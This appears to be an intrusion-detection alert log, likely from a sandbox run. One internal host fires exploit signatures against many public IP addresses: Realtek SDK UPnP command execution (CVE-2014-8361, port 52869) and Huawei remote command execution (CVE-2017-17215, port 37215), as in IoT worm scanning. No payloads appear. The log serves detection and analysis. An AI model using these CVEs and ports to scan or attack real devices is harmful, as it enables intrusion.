SID:	2831300
Source Port:	34300
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.199.110.98

Timestamp:	07/20/24-23:01:10.251070
SID:	2025132
Source Port:	37010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.145.45.176

Timestamp:	07/20/24-23:01:31.322110
SID:	2027339
Source Port:	46982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.218.208.52

Timestamp:	07/20/24-23:02:01.256493
SID:	2025132
Source Port:	38542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.100.183.132

Timestamp:	07/20/24-23:02:11.791090
SID:	2025132
Source Port:	44728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 65.112.198.241

Timestamp:	07/20/24-23:01:21.928521
SID:	2835222
Source Port:	46112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.175.112.209

Timestamp:	07/20/24-23:01:00.651026
SID:	2835222
Source Port:	39940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 161.100.49.199

Timestamp:	07/20/24-23:01:53.357099
SID:	2831300
Source Port:	56596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.173.206.4

Timestamp:	07/20/24-23:01:46.444817
SID:	2027339
Source Port:	54596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.91.11.144

Timestamp:	07/20/24-23:01:41.228795
SID:	2025132
Source Port:	39798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.215.7.68

Timestamp:	07/20/24-23:01:43.607934
SID:	2027339
Source Port:	51514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.212.5.129

Timestamp:	07/20/24-23:01:20.149798
SID:	2835222
Source Port:	58578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.98.46.120

Timestamp:	07/20/24-23:01:26.210078
SID:	2027339
Source Port:	36794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.114.73.170

Timestamp:	07/20/24-23:01:50.845923
SID:	2027339
Source Port:	44268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 146.33.84.180

Timestamp:	07/20/24-23:01:48.924853
SID:	2025132
Source Port:	39902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.76.204.184

Timestamp:	07/20/24-23:00:57.223887
SID:	2829579
Source Port:	51376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.79.71.16

Timestamp:	07/20/24-23:01:34.044152
SID:	2829579
Source Port:	59462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.169.129.161

Timestamp:	07/20/24-23:01:02.104572
SID:	2829579
Source Port:	32886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.112.106.138

Timestamp:	07/20/24-23:01:47.663629
SID:	2027339
Source Port:	36982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.182.113.83

Timestamp:	07/20/24-23:01:00.639093
SID:	2835222
Source Port:	52086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.250.7.213

Timestamp:	07/20/24-23:01:43.283253
SID:	2025132
Source Port:	37266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.183.134.67

Timestamp:	07/20/24-23:01:43.843278
SID:	2027339
Source Port:	40052
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.255.251.248

Timestamp:	07/20/24-23:01:50.920103
SID:	2027339
Source Port:	57122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.105.92

Timestamp:	07/20/24-23:01:11.818830
SID:	2835222
Source Port:	49182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.202.155.168

Timestamp:	07/20/24-23:01:53.066716
SID:	2027339
Source Port:	44782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.132.55.249

Timestamp:	07/20/24-23:01:44.411586
SID:	2027339
Source Port:	37476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 86.49.143.0

Timestamp:	07/20/24-23:00:57.221313
SID:	2829579
Source Port:	37348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 165.29.53.230

Timestamp:	07/20/24-23:01:44.469580
SID:	2025132
Source Port:	57460
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.145.57.110

Timestamp:	07/20/24-23:01:20.156820
SID:	2835222
Source Port:	42496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.158.142.0

Timestamp:	07/20/24-23:01:02.064358
SID:	2835222
Source Port:	41428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.209.73.42

Timestamp:	07/20/24-23:01:04.113037
SID:	2829579
Source Port:	53606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 110.76.42.187

Timestamp:	07/20/24-23:01:42.751499
SID:	2831300
Source Port:	38742
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.18.0.14

Timestamp:	07/20/24-23:01:56.832956
SID:	2025132
Source Port:	42474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 103.34.160.230

Timestamp:	07/20/24-23:00:59.196993
SID:	2835222
Source Port:	53310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 187.218.18.191

Timestamp:	07/20/24-23:01:27.650037
SID:	2829579
Source Port:	36456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.252.110.127

Timestamp:	07/20/24-23:01:42.800757
SID:	2831300
Source Port:	34404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.111.39.192

Timestamp:	07/20/24-23:01:47.569820
SID:	2025132
Source Port:	59610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.198.153.222

Timestamp:	07/20/24-23:01:40.320408
SID:	2829579
Source Port:	37146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.12.75.155

Timestamp:	07/20/24-23:01:42.151857
SID:	2025132
Source Port:	54136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 218.129.227.171

Timestamp:	07/20/24-23:01:13.185981
SID:	2025132
Source Port:	59030
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 76.116.108.138

Timestamp:	07/20/24-23:01:55.428221
SID:	2831300
Source Port:	55678
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.216.224.125

Timestamp:	07/20/24-23:01:47.931222
SID:	2027339
Source Port:	52006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 115.225.187.157

Timestamp:	07/20/24-23:01:08.667964
SID:	2831300
Source Port:	49882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.64.55.120

Timestamp:	07/20/24-23:01:13.314226
SID:	2027339
Source Port:	40464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.83.239.39

Timestamp:	07/20/24-23:01:06.989167
SID:	2835222
Source Port:	40244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.134.186.139

Timestamp:	07/20/24-23:01:06.991143
SID:	2835222
Source Port:	35088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 98.196.109.144

Timestamp:	07/20/24-23:01:50.395253
SID:	2025132
Source Port:	56002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 176.229.44.248

Timestamp:	07/20/24-23:01:08.567236
SID:	2831300
Source Port:	57386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.181.226.152

Timestamp:	07/20/24-23:01:31.313382
SID:	2027339
Source Port:	39784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.80.44.168

Timestamp:	07/20/24-23:01:46.512162
SID:	2027339
Source Port:	36844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.194.41.40

Timestamp:	07/20/24-23:01:08.634900
SID:	2027339
Source Port:	48196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 149.227.25.96

Timestamp:	07/20/24-23:01:42.486106
SID:	2025132
Source Port:	56122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 218.185.172.90

Timestamp:	07/20/24-23:01:02.726681
SID:	2025132
Source Port:	54012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.240.6.181

Timestamp:	07/20/24-23:01:31.991336
SID:	2835222
Source Port:	32994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.173.156.193

Timestamp:	07/20/24-23:01:48.021704
SID:	2027339
Source Port:	53752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.33.175.78

Timestamp:	07/20/24-23:01:55.166507
SID:	2025132
Source Port:	46270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.34.104.183

Timestamp:	07/20/24-23:00:59.204975
SID:	2829579
Source Port:	53706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.54.52.201

Timestamp:	07/20/24-23:01:02.104571
SID:	2835222
Source Port:	43416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 151.105.247.52

Timestamp:	07/20/24-23:01:41.193880
SID:	2025132
Source Port:	53462
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.200.215.102

Timestamp:	07/20/24-23:01:42.677933
SID:	2027339
Source Port:	49330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.255.209.13

Timestamp:	07/20/24-23:01:04.113037
SID:	2835222
Source Port:	39682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 212.62.106.68

Timestamp:	07/20/24-23:01:48.858207
SID:	2025132
Source Port:	51006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.31.200.232

Timestamp:	07/20/24-23:01:04.627153
SID:	2027339
Source Port:	37094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 155.28.185.96

Timestamp:	07/20/24-23:01:00.633642
SID:	2835222
Source Port:	42434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.193.3.141

Timestamp:	07/20/24-23:01:31.317668
SID:	2027339
Source Port:	56692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.50.29.53

Timestamp:	07/20/24-23:01:49.040108
SID:	2027339
Source Port:	60648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.123.26.129

Timestamp:	07/20/24-23:01:45.519802
SID:	2027339
Source Port:	39112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.1.18.208

Timestamp:	07/20/24-23:01:43.182734
SID:	2027339
Source Port:	50088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 145.102.1.140

Timestamp:	07/20/24-23:01:44.001231
SID:	2025132
Source Port:	46446
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.127.30.131

Timestamp:	07/20/24-23:01:56.353592
SID:	2025132
Source Port:	46456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.28.132.38

Timestamp:	07/20/24-23:02:51.152216
SID:	2025132
Source Port:	51020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.65.166.64

Timestamp:	07/20/24-23:02:53.715694
SID:	2027339
Source Port:	38326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.79.117.152

Timestamp:	07/20/24-23:01:50.107973
SID:	2027339
Source Port:	49530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.244.111.55

Timestamp:	07/20/24-23:01:48.560945
SID:	2027339
Source Port:	43414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 142.4.77.39

Timestamp:	07/20/24-23:01:31.330511
SID:	2831300
Source Port:	44976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.77.110.3

Timestamp:	07/20/24-23:01:31.974907
SID:	2829579
Source Port:	59308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.55.184.24

Timestamp:	07/20/24-23:01:59.850516
SID:	2831300
Source Port:	56446
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.206.84.130

Timestamp:	07/20/24-23:01:45.648154
SID:	2027339
Source Port:	49290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.112.45.111

Timestamp:	07/20/24-23:01:47.253863
SID:	2831300
Source Port:	49652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.175.188.159

Timestamp:	07/20/24-23:01:43.810783
SID:	2025132
Source Port:	49636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 126.245.117.149

Timestamp:	07/20/24-23:01:49.463055
SID:	2831300
Source Port:	42220
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.158.122.120

Timestamp:	07/20/24-23:01:08.614193
SID:	2027339
Source Port:	54848
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.105.4.242

Timestamp:	07/20/24-23:01:27.766239
SID:	2835222
Source Port:	53782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 47.200.89.27

Timestamp:	07/20/24-23:01:24.904906
SID:	2835222
Source Port:	38506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.241.33.36

Timestamp:	07/20/24-23:02:10.632121
SID:	2025132
Source Port:	57462
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 201.34.254.148

Timestamp:	07/20/24-23:02:17.128771
SID:	2025132
Source Port:	55714
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.76.102.214

Timestamp:	07/20/24-23:01:12.806645
SID:	2027339
Source Port:	40026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.160.251.29

Timestamp:	07/20/24-23:01:14.090830
SID:	2829579
Source Port:	36734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.43.240.212

Timestamp:	07/20/24-23:01:41.276434
SID:	2027339
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.210.224.238

Timestamp:	07/20/24-23:01:51.968362
SID:	2027339
Source Port:	53002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 25.19.64.41

Timestamp:	07/20/24-23:01:00.640312
SID:	2835222
Source Port:	60452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.68.112.71

Timestamp:	07/20/24-23:01:02.055683
SID:	2835222
Source Port:	58124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.136.141.197

Timestamp:	07/20/24-23:01:02.299793
SID:	2025132
Source Port:	45716
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.110.120.103

Timestamp:	07/20/24-23:01:54.727406
SID:	2027339
Source Port:	49250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.17.25.163

Timestamp:	07/20/24-23:01:31.333805
SID:	2831300
Source Port:	47398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 61.251.112.155

Timestamp:	07/20/24-23:01:45.119426
SID:	2025132
Source Port:	52300
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.139.28.102

Timestamp:	07/20/24-23:01:00.635367
SID:	2835222
Source Port:	33796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.177.221.69

Timestamp:	07/20/24-23:01:31.983105
SID:	2829579
Source Port:	38428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.76.169.126

Timestamp:	07/20/24-23:01:47.179280
SID:	2831300
Source Port:	39742
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.124.1.164

Timestamp:	07/20/24-23:01:11.635828
SID:	2829579
Source Port:	39608
Destination Port:	37215
Protocol:	TCP
